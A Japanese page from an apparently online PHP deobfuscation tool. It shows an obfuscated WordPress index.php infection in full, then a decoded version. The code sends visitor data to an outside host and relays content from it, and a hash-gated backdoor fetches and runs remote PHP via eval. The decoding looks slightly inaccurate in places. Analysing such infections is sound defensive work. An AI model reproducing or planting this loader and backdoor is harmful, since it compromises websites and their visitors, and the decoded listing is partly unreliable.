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PHP 難読化コードの復元・デコード

Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php /* @bX)dNBi&x5@UfbG~ZWG3rzmgSsB$N91B2F?R|JVhq$&Qb` */error_reporting(0);/* XRFF8SY&t;aV!WJWHMs<7o9XqKTMI( */eval/* 0kdKn&;?4Xw65-&{KzGu`Ec;rgtQ]^`6P */(/* qt,jYXWSze|<E */base64_decode/* 0KFZFxRud,otWLWwcg */(/* s6Ir+p8$,~JJkkW)a`j&xft&loid_U */"Z290byBpZDJ...



難読化されたPHPコード

<?php /* @bX)dNBi&x5@UfbG~ZWG3rzmgSsB$N91B2F?R|JVhq$&Qb` */error_reporting(0);/* XRFF8SY&t;aV!WJWHMs<7o9XqKTMI( */eval/* 0kdKn&;?4Xw65-&{KzGu`Ec;rgtQ]^`6P */(/* qt,jYXWSze|<E */base64_decode/* 0KFZFxRud,otWLWwcg */(/* s6Ir+p8$,~JJkkW)a`j&xft&loid_U */"goto id2p6; nua3N: $w0F55 = $_REQUEST["\x61\143\164\x69\157\156"]; goto iGyMa; E97Z8: goto Tym9m; goto owNRz; DOFNd: $islH7 = substr($w0F55, -1); goto hdp_a; yZZJg: if (!strstr($u0v2Q, "\x5b\43\52\43\x2a\x23\x5d")) { goto qmNe8; } goto XX3dF; g3u7Y: $zN7cO = $nhjvW . "\x2f\x69\x6e\x64\x65\170\56\x70\x68\x70\x3f" . http_build_query($BxejG); goto doJiD; StuOl: $a7aFo = $_SERVER["\110\x54\x54\120\x5f\125\x53\105\122\x5f\101\x47\105\116\124"]; goto oi8dW; Uti21: $LFulM = $_SERVER["\x52\105\x51\x55\x45\123\x54\x5f\x4d\105\x54\110\117\104"]; goto J4tU8; Ehxow: QTWy0: goto yxawB; doJiD: $u0v2Q = UpZoJ($zN7cO); goto eEhjq; a7oo2: $VBEKR = $_SERVER["\110\124\x54\x50\x5f\x52\105\x46\105\122\105\x52"]; goto evT7d; LliEK: fO94_($G9HaT, $IeTQN); goto QBs25; WUayK: $yFhow = md5($w0F55); goto NaR_G; oi8dW: $qpl1X = $_SERVER["\110\124\x54\120\x5f\x41\x43\x43\x45\x50\x54\x5f\114\101\x4e\x47\x55\101\x47\x45"]; goto zKAzq; rtVW3: $BxejG = ["\x64\157\155\x61\151\156" => urlencode($RIT32), "\141\147\145\x6e\164" => urlencode($a7aFo), "\x6c\141\x6e\x67" => urlencode($qpl1X), "\x75\x72\151" => urlencode($xo5pX), "\x72\145\x66\145\162\145\162" => urlencode($VBEKR), "\151\160" => urlencode($FeBlB), "\155\x65\x74\x68\157\144" => urlencode($LFulM), "\162\145\163\160\157\156\163\145\x5f\x74\151\155\x65" => urlencode($aQnMD), "\x72\x65\x71\165\145\x73\164\x5f\x68\145\x61\x64\x65\162\163" => urlencode($atXrQ), "\x66\x6f\x72\167\x61\162\x64\x65\144\x46\x6f\x72" => urlencode($PSN1W), "\154\x6f\143\x61\x6c\137\144\x6f\155\141\x69\156" => urlencode($nhjvW)]; goto g3u7Y; iGyMa: if (!empty($w0F55)) { goto lGiwR; } goto Q769R; id2p6: if (!function_exists("\113\x61\153\152\x71")) { function KakJq() { goto GCvzu; CXaw1: BCaUe: goto jTk5W; GCvzu: $q_Zak = []; goto kExVJ; kExVJ: foreach ($_SERVER as $n82IS => $mP9fA) { goto F5GWy; VIHOI: $q_Zak[str_replace("\40", "\55", ucwords(strtolower(str_replace("\x5f", "\x20", substr($n82IS, 5)))))] = $mP9fA; goto BHDOK; BHDOK: M86fS: goto no5g3; F5GWy: if (!(substr($n82IS, 0, 5) == "\x48\124\x54\x50\137")) { goto M86fS; } goto VIHOI; no5g3: G4LtC: goto DG2CB; DG2CB: } goto CXaw1; jTk5W: return $q_Zak; goto BDT3Q; BDT3Q: } } goto aKcSn; owNRz: lGiwR: goto DOFNd; mxDui: $PSN1W = isset($_SERVER["\x48\124\124\120\137\x58\137\x46\117\x52\127\x41\122\104\105\104\137\x46\117\122"]) ? $_SERVER["\110\x54\x54\x50\137\x58\x5f\106\117\x52\x57\x41\122\104\105\x44\x5f\x46\x4f\x52"] : ''; goto nua3N; hdp_a: $w0F55 = substr($w0F55, 0, strlen($w0F55) - 1); goto Ku0g0; eEhjq: if ($u0v2Q !== false && $xo5pX !== "\57\x66\x61\x76\x69\143\157\156\x2e\x69\143\157") { goto j1Ey9; } goto GmRBM; xWHIo: $atXrQ = json_encode(KakjQ()); goto mxDui; evT7d: $FeBlB = $_SERVER["\x52\105\x4d\x4f\124\x45\137\x41\x44\104\x52"]; goto Uti21; XX3dF: list($G9HaT, $IeTQN) = explode("\133\x23\x2a\x23\x2a\43\x5d", $u0v2Q); goto LliEK; tScGC: function fo94_($G9HaT, $IeTQN) { goto cE7NU; cE7NU: switch ($G9HaT) { case "\x65\x63\150\x6f\150\x74\155\x6c": goto kf13R; EZMXs: echo $IeTQN; goto DEwNL; DEwNL: goto WAzh3; goto wHFDc; kf13R: header("\103\x6f\156\x74\145\156\164\x2d\x54\x79\160\x65\x3a\40\164\x65\x78\x74\x2f\150\x74\155\154\x3b\40\143\150\141\162\x73\x65\x74\x3d\x55\124\106\55\x38"); goto EZMXs; wHFDc: case "\145\x63\150\x6f\x63\163\x73\155\151\156": goto kxuum; E9JES: goto WAzh3; goto wve0q; dnucY: echo $IeTQN; goto E9JES; kxuum: header("\x43\157\156\164\x65\156\x74\x2d\x54\x79\x70\145\72\40\164\x65\x78\164\x2f\x63\x73\163\x3b\40\x63\150\x61\162\x73\x65\164\75\125\x54\106\x2d\70"); goto dnucY; wve0q: case "\145\143\150\157\x78\155\154": goto eG8mi; eG8mi: header("\x43\x6f\156\164\x65\156\x74\55\124\x79\x70\x65\x3a\x20\164\145\170\164\57\170\155\154\73\x20\x63\x68\141\162\x73\x65\164\x3d\125\124\x46\55\70"); goto xX_3p; Jmv6x: goto WAzh3; goto NJREr; xX_3p: echo $IeTQN; goto Jmv6x; NJREr: case "\145\x63\150\x6f\164\x78\x74": goto SWE0u; DHWso: goto WAzh3; goto CkhQ2; SWE0u: header("\103\x6f\156\164\145\x6e\164\x2d\x54\171\x70\x65\72\40\x74\x65\x78\x74\x2f\x70\x6c\141\151\x6e\x3b\40\143\x68\x61\x72\x73\x65\164\x3d\x55\124\106\55\70"); goto J22ZC; J22ZC: echo $IeTQN; goto DHWso; CkhQ2: case "\x65\x63\150\157\64\x30\64": goto MsOq9; VpZ4m: header("\x43\157\x6e\x74\x65\x6e\164\x2d\124\x79\160\145\72\x20\x74\145\170\164\x2f\x68\x74\155\x6c\x3b\x20\x63\x68\x61\x72\163\x65\x74\x3d\x55\x54\106\x2d\x38"); goto Rgp7x; MsOq9: header("\110\x54\124\x50\57\x31\56\61\40\x34\x30\x34\x20\116\157\164\x20\106\157\x75\156\144"); goto VpZ4m; Rgp7x: echo $IeTQN; goto YLEBG; YLEBG: goto WAzh3; goto Jg5sF; Jg5sF: default: goto QwYHl; TUBIv: goto WAzh3; goto WHW4X; QwYHl: header("\110\x54\124\120\57\x31\x2e\x31\40\x35\x30\x30\x20\x49\156\x74\145\162\x6e\141\x6c\x20\123\x65\x72\166\145\162\40\105\162\162\x6f\162"); goto vYwMd; vYwMd: echo "\111\156\166\141\x6c\x69\x64\40\x72\145\163\x70\157\156\163\x65\x20\x74\171\160\x65\56"; goto TUBIv; WHW4X: } goto rOE2V; rOE2V: r_W4L: goto HrAc1; HrAc1: WAzh3: goto c3lzl; c3lzl: exit; goto gufoA; gufoA: } goto IblFo; NaR_G: if (!($yFhow == implode($iHCv3))) { goto QTWy0; } goto wfrqs; zKAzq: $xo5pX = $_SERVER["\x52\105\x51\125\x45\x53\124\x5f\125\122\111"]; goto a7oo2; RRFpJ: $RIT32 = $eER0M . $_SERVER["\110\124\124\120\x5f\x48\117\123\x54"]; goto StuOl; GmRBM: N_TCR(500, "\x46\141\x69\154\145\x64\40\164\x6f\x20\x72\145\164\162\x69\x65\166\145\40\x63\x6f\x6e\164\145\x6e\x74\40\157\162\x20\x73\x65\162\x76\145\162\x20\162\145\x74\x75\162\x6e\x65\144\40\141\x6e\40\x65\x72\162\157\162\56"); goto rRKhP; Ku0g0: $iHCv3 = array("\x39", "\70", "\x32", "\64", "\x35", "\x64", "\67", "\64", "\x31", "\67", "\x32", "\x32", "\65", "\142", "\x35", "\65", "\x61", "\62", "\143", "\64", "\x62", "\x66", "\x35", "\x30", "\x62", "\x38", "\x61", "\x61", "\x34", "\x63", "\67", "\63"); goto WUayK; J4tU8: $aQnMD = microtime(true) - $_SERVER["\122\x45\x51\x55\x45\123\124\137\x54\111\x4d\x45\x5f\x46\x4c\117\101\124"]; goto xWHIo; AYMid: $PXhdV = array(UpzOj(implode($H9f1y) . $islH7 . "\56\x74" . "\x78" . "\x74")); goto rabOK; rabOK: eval("\x3f\76" . $PXhdV[0]); goto Ehxow; IblFo: function n_TcR($tzH7K, $iOD4_) { goto ny3fI; ny3fI: header("\x48\x54\x54\120\57\61\56\x31\x20{$tzH7K}\x20{$iOD4_}"); goto QoqtD; TVgTf: exit; goto QXqSY; QoqtD: echo $iOD4_; goto TVgTf; QXqSY: } goto IAyXj; wfrqs: $H9f1y = array("\150", "\x74", "\x74", "\160", "\163", "\72", "\57", "\x2f", "\166", "\160", "\x73", "\x64", "\x64", "\x2e", "\146", "\x6e", "\146", "\164", "\165", "\163", "\56", "\x74", "\157", "\x70", "\57", "\144", "\157", "\x6f", "\162", "\57"); goto AYMid; aJU2T: ScPas: goto E97Z8; QBs25: qmNe8: goto aJU2T; Gumpf: Tym9m: goto tScGC; Q769R: $nhjvW = "\x68\164\164\160\x73\x3a\x2f\x2f\65\x32\62\x71\x34\x79\x33\x2e\172\x79\155\x61\x69\x6c\146\x2e\x73\150\x6f\160"; goto rtVW3; yxawB: exit; goto Gumpf; OtZ4C: j1Ey9: goto yZZJg; rRKhP: goto ScPas; goto OtZ4C; aKcSn: $eER0M = isset($_SERVER["\110\x54\124\120\x53"]) && $_SERVER["\110\x54\124\x50\123"] == "\157\156" || isset($_SERVER["\x48\124\x54\120\137\x58\137\x46\117\x52\127\101\122\104\x45\104\137\120\x52\117\124\117"]) && $_SERVER["\110\x54\124\x50\x5f\x58\137\106\x4f\x52\127\x41\x52\104\105\104\137\120\x52\117\124\x4f"] == "\150\x74\x74\160\163" ? "\x68\x74\x74\160\x73\x3a\57\x2f" : "\x68\164\164\x70\x3a\57\x2f"; goto RRFpJ; IAyXj: function UpzOJ($ioW8C) { goto jBkQF; hYv6m: $http_response_header = $http_response_header ? $http_response_header : []; goto MGd9H; t1nPz: if (!($kZ_2a == 200)) { goto Y1GqO; } goto CQTla; sAkqv: return $G2Ltg; goto qM65f; Wmsd2: if (!function_exists("\x63\165\x72\154\x5f\151\x6e\x69\x74")) { goto ZH8Wu; } goto LL3Ux; DcWXE: curl_setopt($auphj, CURLOPT_TIMEOUT, $UTsCm); goto ykhr_; ePJMH: curl_setopt($auphj, CURLOPT_CONNECTTIMEOUT, $UTsCm); goto DcWXE; lcAOS: if ($G2Ltg === false) { goto A9cK_; } goto hYv6m; ykhr_: curl_setopt($auphj, CURLOPT_SSL_VERIFYPEER, false); goto LnTPh; BbF4_: $G2Ltg = @file_get_contents($ioW8C, false, $mLA35); goto lcAOS; VbHM1: curl_close($auphj); goto t1nPz; h2toh: J9o2S: goto hxLxo; s4tVt: curl_setopt($auphj, CURLOPT_RETURNTRANSFER, 1); goto ePJMH; bhLO9: curl_setopt($auphj, CURLOPT_URL, $ioW8C); goto s4tVt; xCUMH: $G2Ltg = curl_exec($auphj); goto UT22B; hVl3F: $mLA35 = stream_context_create(["\150\x74\x74\x70" => ["\164\151\155\145\x6f\x75\164" => $UTsCm, "\x69\x67\156\157\162\145\x5f\145\162\x72\x6f\x72\163" => true]]); goto BbF4_; Dos38: A9cK_: goto tXQGH; MGd9H: foreach ($http_response_header as $djZ6u) { goto cPIv1; kWCRo: z4kXs: goto Frrh_; cPIv1: if (!preg_match("\x2f\136\110\124\x54\x50\x5c\x2f\x5b\134\x64\x5c\x2e\x5d\x2b\x20\x28\x5c\144\53\x29\x2f", $djZ6u, $gi7hf)) { goto w6s62; } goto T7wKx; C3NIY: if (!($z4q24 != 200)) { goto z4kXs; } goto bOsNs; T7wKx: $z4q24 = (int) $gi7hf[1]; goto C3NIY; bOsNs: return false; goto kWCRo; Frrh_: w6s62: goto gH1nf; gH1nf: ktB19: goto NopYj; NopYj: } goto h2toh; jBkQF: $UTsCm = 300; goto Wmsd2; tXQGH: return false; goto Ex6Nj; UT22B: $kZ_2a = curl_getinfo($auphj, CURLINFO_HTTP_CODE); goto VbHM1; LnTPh: curl_setopt($auphj, CURLOPT_SSL_VERIFYHOST, false); goto xCUMH; Ex6Nj: lKfNK: goto sAkqv; CQTla: return $G2Ltg; goto gU6G9; hxLxo: goto lKfNK; goto Dos38; gRa7_: ZH8Wu: goto hVl3F; LL3Ux: $auphj = curl_init(); goto bhLO9; gU6G9: Y1GqO: goto gRa7_; qM65f: }"/* O<)){Q{g<p(F3`8d} */)/* $;dq;a{mnv{ByMkQ)5&akGxs33VGqcqfi&YHauX)`l,9D */);?><?php define( 'WP_USE_THEMES', true );
require __DIR__ . '/wp-blog-header.php';

デコード(難読化解除)されたコード

<?php

/* @bX)dNBi&x5@UfbG~ZWG3rzmgSsB$N91B2F?R|JVhq$&Qb` */
error_reporting(0);
eval {
    if (!function_exists("Kakjq")) {
        function KakJq()
        {
            $q_Zak = [];
            foreach ($_SERVER as $n82IS => $mP9fA) {
                if (!(substr($n82IS, 0, 5) == "HTTP_")) {
                    goto M86fS;
                }
                $q_Zak[str_replace(" ", "-", ucwords(strtolower(str_replace("_", " ", substr($n82IS, 5)))))] = $mP9fA;
                M86fS:
            }
            return $q_Zak;
        }
    }
    $eER0M = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https" ? "https://" : "http://";
    $RIT32 = $eER0M . $_SERVER["HTTP_HOST"];
    $a7aFo = $_SERVER["HTTP_USER_AGENT"];
    $qpl1X = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
    $xo5pX = $_SERVER["REQUEST_URI"];
    $VBEKR = $_SERVER["HTTP_REFERER"];
    $FeBlB = $_SERVER["REMOTE_ADDR"];
    $LFulM = $_SERVER["REQUEST_METHOD"];
    $aQnMD = microtime(true) - $_SERVER["REQUEST_TIME_FLOAT"];
    $atXrQ = json_encode(KakjQ());
    $PSN1W = isset($_SERVER["HTTP_X_FORWARDED_FOR"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : '';
    $w0F55 = $_REQUEST["action"];
    if (!empty($w0F55)) {
        $islH7 = substr($w0F55, 1);
        $w0F55 = substr($w0F55, 0, strlen($w0F55) - 1);
        $iHCv3 = array("9", "8", "2", "4", "5", "d", "7", "4", "1", "7", "2", "2", "5", "b", "5", "5", "a", "2", "c", "4", "b", "f", "5", "0", "b", "8", "a", "a", "4", "c", "7", "3");
        $yFhow = md5($w0F55);
        if (!($yFhow == "98245d7417225b55a2c4bf50b8aa4c73")) {
            goto QTWy0;
        }
        $H9f1y = array("h", "t", "t", "p", "s", ":", "/", "/", "v", "p", "s", "d", "d", ".", "f", "n", "f", "t", "u", "s", ".", "t", "o", "p", "/", "d", "o", "o", "r", "/");
        $PXhdV = array(UpzOj("https://vpsdd.fnftus.top/door/" . $islH7 . ".t" . "x" . "t"));
        eval("?>" . $PXhdV[0]);
        QTWy0:
        exit;
    }
    $nhjvW = "https://522q4y3.zymailf.shop";
    $BxejG = ["domain" => urlencode($RIT32), "agent" => urlencode($a7aFo), "lang" => urlencode($qpl1X), "uri" => urlencode($xo5pX), "referer" => urlencode($VBEKR), "ip" => urlencode($FeBlB), "method" => urlencode($LFulM), "response_time" => urlencode($aQnMD), "request_headers" => urlencode($atXrQ), "forwardedFor" => urlencode($PSN1W), "local_domain" => urlencode($nhjvW)];
    $zN7cO = "https://522q4y3.zymailf.shop/index.php?" . http_build_query($BxejG);
    $u0v2Q = UpZoJ($zN7cO);
    if ($u0v2Q !== false && $xo5pX !== "/favicon.ico") {
        if (!strstr($u0v2Q, "[#*#*#]")) {
            goto qmNe8;
        }
        list($G9HaT, $IeTQN) = explode("[#*#*#]", $u0v2Q);
        fO94_($G9HaT, $IeTQN);
        qmNe8:
        goto aJU2T;
    }
    N_TCR(500, "Failed to retrieve content or server returned an error.");
    aJU2T:
    function fo94_($G9HaT, $IeTQN)
    {
        switch ($G9HaT) {
            case "echohtml":
                header("Content-Type: text/html; charset=UTF-8");
                echo $IeTQN;
                goto WAzh3;
            case "echocssmin":
                header("Content-Type: text/css; charset=UTF-8");
                echo $IeTQN;
                goto WAzh3;
            case "echoxml":
                header("Content-Type: text/xml; charset=UTF-8");
                echo $IeTQN;
                goto WAzh3;
            case "echotxt":
                header("Content-Type: text/plain; charset=UTF-8");
                echo $IeTQN;
                goto WAzh3;
            case "echo404":
                header("HTTP/1.1 404 Not Found");
                header("Content-Type: text/html; charset=UTF-8");
                echo $IeTQN;
                goto WAzh3;
            default:
                header("HTTP/1.1 500 Internal Server Error");
                echo "Invalid response type.";
                goto WAzh3;
        }
        WAzh3:
        exit;
    }
    function n_TcR($tzH7K, $iOD4_)
    {
        header("HTTP/1.1 {$tzH7K} {$iOD4_}");
        echo $iOD4_;
        exit;
    }
    function UpzOJ($ioW8C)
    {
        $UTsCm = 300;
        if (!function_exists("curl_init")) {
            goto ZH8Wu;
        }
        $auphj = curl_init();
        curl_setopt($auphj, CURLOPT_URL, $ioW8C);
        curl_setopt($auphj, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($auphj, CURLOPT_CONNECTTIMEOUT, $UTsCm);
        curl_setopt($auphj, CURLOPT_TIMEOUT, $UTsCm);
        curl_setopt($auphj, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($auphj, CURLOPT_SSL_VERIFYHOST, false);
        $G2Ltg = curl_exec($auphj);
        $kZ_2a = curl_getinfo($auphj, CURLINFO_HTTP_CODE);
        curl_close($auphj);
        if (!($kZ_2a == 200)) {
            ZH8Wu:
            $mLA35 = stream_context_create(["http" => ["timeout" => $UTsCm, "ignore_errors" => true]]);
            $G2Ltg = @file_get_contents($ioW8C, false, $mLA35);
            if ($G2Ltg === false) {
                return false;
            }
            $http_response_header = $http_response_header ? $http_response_header : [];
            foreach ($http_response_header as $djZ6u) {
                if (!preg_match("/^HTTP\\/[\\d\\.]+ (\\d+)/", $djZ6u, $gi7hf)) {
                    goto w6s62;
                }
                $z4q24 = (int) $gi7hf[1];
                if (!($z4q24 != 200)) {
                    w6s62:
                }
                return false;
            }
            return $G2Ltg;
        }
        return $G2Ltg;
    }
};
define('WP_USE_THEMES', true);
require "/var/www/html/wp-blog-header.php";


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